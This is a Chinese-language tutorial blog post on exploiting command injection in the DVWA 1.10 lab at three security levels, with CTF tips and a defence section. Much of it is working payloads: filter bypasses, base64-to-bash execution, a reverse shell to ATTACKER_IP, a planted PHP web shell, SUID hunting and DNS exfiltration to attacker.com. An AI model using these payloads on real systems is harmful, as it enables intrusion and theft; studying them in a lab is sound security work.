DVWA 1.10 命令注入实战：3种难度绕过与 8 个 Flag 获取全解析-平芜编程栈

DVWA 1.10 命令注入实战：从基础绕过到高级利用的完整指南

1. 命令注入漏洞概述与靶场搭建

命令注入（Command Injection）是Web安全领域中一种高危漏洞，它允许攻击者通过构造特殊输入，在服务器端执行任意系统命令。这种漏洞通常出现在应用程序将用户输入直接拼接到系统命令中执行的情况下，比如网络设备管理界面、服务器监控工具等场景。

DVWA（Damn Vulnerable Web Application）是一个专为安全测试设计的漏洞演练平台，内置了从低到高多种安全等级的漏洞环境。要搭建DVWA 1.10靶场，可以按照以下步骤操作：

# 使用Docker快速部署DVWA docker pull vulnerables/web-dvwa docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

部署完成后，访问http://localhost并使用默认凭证登录：

用户名：admin
密码：password

关键配置步骤：

点击左侧"DVWA Security"菜单
将安全级别设置为"Low"
点击"Submit"保存设置

提示：在实际测试环境中，建议使用虚拟机或隔离的网络环境运行DVWA，避免对真实系统造成影响。

2. Low级别命令注入分析与利用

在Low安全级别下，DVWA对用户输入几乎没有任何过滤。命令注入模块的核心代码如下（模拟）：

<?php $target = $_REQUEST['ip']; $cmd = shell_exec('ping -c 4 ' . $target); echo "<pre>{$cmd}</pre>"; ?>

可以看到，用户输入的ip参数直接被拼接到ping命令中执行。这种简单的拼接方式使得攻击者可以通过特殊字符注入额外命令。

基础注入技巧：

在Linux/Unix系统中使用分号;分隔多个命令
在Windows系统中使用&或&&连接命令
使用反引号`或$()执行命令替换

获取第一个Flag的Payload示例：

127.0.0.1; whoami

系统将依次执行：

ping -c 4 127.0.0.1
whoami

返回结果中最后一个单词即为第一个Flag值。

常用信息收集命令：

# 获取系统用户列表 ; cat /etc/passwd # 查看当前目录文件 ; ls -la # 检查网络配置 ; ifconfig # 查看环境变量 ; env

3. Medium级别防护与绕过技术

当安全级别提升到Medium时，DVWA会尝试过滤一些危险字符。查看源代码可以发现：

<?php $target = $_REQUEST['ip']; $target = str_replace(";", "", $target); $cmd = shell_exec('ping -c 4 ' . $target); echo "<pre>{$cmd}</pre>"; ?>

这里使用str_replace过滤了分号;，但防御措施非常初级，存在多种绕过方式：

绕过方法对比表：

方法	示例Payload	适用场景	原理说明
换行符	`127.0.0.1%0awhoami`	Linux/Unix系统	%0a是URL编码的换行符
管道符	`127.0.0.1	whoami`	多数系统
AND符	`127.0.0.1&&whoami`	多数系统	前命令成功才执行后命令
注释符	`127.0.0.1 #whoami`	需要shell支持	#后的内容被忽略

获取Medium级别Flag的关键步骤：

使用view_source查看过滤机制
构造绕过过滤的Payload（如127.0.0.1|cat /etc/passwd）
从报错信息或返回结果中提取Flag

防御原理分析： Medium级别的过滤只处理了分号，但命令注入可以通过多种方式实现。有效的防御应该：

使用白名单验证输入格式（如只允许IP地址格式）
使用安全的API替代命令执行
对特殊字符进行严格过滤或转义

4. High级别的高级绕过技术

High安全级别下，DVWA采用了更严格的过滤机制：

<?php $target = $_REQUEST['ip']; $target = stripslashes($target); $target = explode(" ", $target); $target = $target[0]; $cmd = shell_exec('ping -c 4 ' . $target); echo "<pre>{$cmd}</pre>"; ?>

这段代码通过explode和取第一个元素的方式，试图只获取IP地址的第一部分。但依然存在绕过可能：

高级绕过技巧：

参数注入：利用命令参数特性注入
```
127.0.0.1 -c 1;whoami
```
环境变量：通过${IFS}替代空格
```
127.0.0.1${IFS}&&cat${IFS}/etc/passwd
```

编码混淆：使用Base64编码命令

# 先编码命令 echo "whoami" | base64 # 然后执行 127.0.0.1; echo "d2hvYW1pCg==" | base64 -d | bash

获取High级别Flag的步骤：

分析源代码中的过滤逻辑
测试各种分隔符和绕过技术
通过view_source获取过滤内容作为Flag
构造最终Payload获取用户列表

实战案例：

# 获取服务器内核版本 127.0.0.1|uname -a # 查找可写目录 127.0.0.1|find / -perm -o=w -type d 2>/dev/null # 尝试写入文件 127.0.0.1|echo "test" > /var/www/html/test.txt

5. 命令注入的防御措施

针对命令注入漏洞，应从多个层面构建防御体系：

开发层面的防御：

使用安全的API替代命令执行（如PHP的filter_var验证IP地址）
实施严格的输入验证（白名单优于黑名单）
对必要的命令执行进行严格的参数处理

// 安全的IP地址验证示例 if (filter_var($ip, FILTER_VALIDATE_IP)) { $cmd = 'ping -c 4 ' . escapeshellarg($ip); system($cmd); } else { die('Invalid IP address'); }

系统层面的加固：

最小权限原则：运行Web服务的用户应限制权限
命令白名单：通过sudo限制可执行的命令范围
日志监控：记录所有敏感命令的执行情况

防御技术对比表：

防御技术	实施难度	有效性	对业务影响	适用场景
输入白名单	中等	高	低	参数格式固定的场景
命令参数化	高	极高	低	必须使用命令执行的场景
沙箱环境	高	高	中等	高风险操作隔离
WAF规则	低	中等	低	临时防护措施

6. CTF实战中的进阶技巧

在CTF比赛中，命令注入往往需要结合其他技术进行深度利用：

1. 反弹Shell获取交互式访问

# 攻击机监听 nc -lvnp 4444 # 目标机执行（URL编码后注入） ; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

2. 文件上传与提权

# 上传Web Shell ; echo '<?php system($_GET["cmd"]);?>' > /var/www/html/shell.php # 查找SUID文件 ; find / -perm -4000 2>/dev/null

3. 内网探测与横向移动

# 扫描内网主机 ; for i in {1..254}; do ping -c 1 192.168.1.$i; done # 检查开放端口 ; nc -zv TARGET_IP 1-1024

4. 数据过滤与提取

# 查找包含flag的文件 ; grep -r "flag{" / 2>/dev/null # 编码敏感数据避免过滤 ; cat /etc/passwd | base64

7. 真实场景下的漏洞挖掘与利用

在实际渗透测试中，命令注入漏洞可能出现在以下场景：

常见易受攻击的功能点：

网络设备管理界面（路由器、交换机）
服务器监控系统
文件转换处理服务
系统配置管理工具

漏洞挖掘方法论：

功能分析：识别所有接收用户输入并可能调用系统命令的功能
输入测试：尝试各种命令分隔符和特殊字符
结果判断：通过响应时间、错误信息等判断命令是否执行
盲注技术：当无回显时使用时间延迟或DNS外带技术

盲注检测技巧：

# 时间延迟检测 ping -c 4 127.0.0.1 && sleep 5 # DNS外带数据 ; nslookup $(whoami).attacker.com

8. 自动化工具与资源推荐

常用工具对比：

工具名称	适用场景	特点	安装命令
Commix	自动化命令注入测试	支持多种注入技术	`git clone https://github.com/commixproject/commix.git`
Sqlmap	带外数据提取	虽然主要用于SQL注入，但支持命令执行	`pip install sqlmap`
Burp Suite	手工测试辅助	强大的拦截和重放功能	下载社区版：https://portswigger.net/burp